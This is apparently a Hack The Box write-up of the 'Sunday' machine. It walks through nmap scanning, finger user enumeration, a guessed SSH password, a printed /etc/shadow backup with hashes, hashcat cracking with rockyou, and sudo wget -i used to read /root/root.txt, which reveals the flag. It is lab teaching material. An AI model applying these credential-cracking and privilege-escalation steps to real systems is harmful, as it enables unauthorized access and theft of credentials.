Sunday HTB Machine

Process

1. Ran an nmap scan while incrementing ports by 10000 each time to get the following nmap results.

`nmap -A -T5 -Pn -p 10000-20000 10.10.10.76`

```
PORT          STATE    SERVICE VERSION
79/tcp        open     finger
111/tcp       open     rpcbind
22022/tcp     open     ssh           SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
33381/tcp     open     smserverd 1 (RPC #100155)
60722/tcp     open     smserverd 1 (RPC #100155)
```

2. This led me to enumerate the users with the finger protocol. I used a metasploit auxiliary module to get the users on the machine. Users of interest were sammy and sunny

```
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: sammy
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: sunny
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: adm
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: lp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: uucp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: nuucp
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: dladm
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: listen
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: bin
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: daemon
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: gdm
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: noaccess
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: nobody
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: nobody4
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: postgres
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: root
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: svctag
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: sys
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: xvm
[+] 10.10.10.76:79        - 10.10.10.76:79 - Found user: openldap
```

3. Now that we have account names we can try and figure out the ssh login information, and by pure guess and check we get sunny:sunday.

4. Although we now have a session on the machine, we cannot read user.txt which is located in `/export/home/sammy/Desktop/user.txt` due to permissions.
5. from looking around the system I saw that there was a `/backup` in the root directory which contained a backup of the /etc/shadow file

```
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
```

6. After some googling I found tht this was a sha256crypt hash and that hashcat is able to crack those hashes

`hashcat -m 7400 ~/hashes.hash -a 0 /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --force`

7. Considering that this hashing algorithm is pretty intense, I started with the rockyou.txt dictionary located in `usr/share/wordlists/rockyou.txt` in kali linux. After 10 minutes or so I got the password for sammy `cooldude!`
8. now for privilege escalation
9. I could see with sudo -l that the sammy user was abole to execute wget without a root password
10. This led me to look at the man page and find the --input-file flag.
11. With the flag I supplied the root.txt file to see what it would do, and since I ran it with sudo it threw an error saying the root key was not a valid url.

```
sudo wget -i /root/root.txt
/root/root.txt: Invalid URL fb40fab61d99d37536daeec0d97af9b8: Unsupported
scheme
No URLs found in /root/root.txt.
```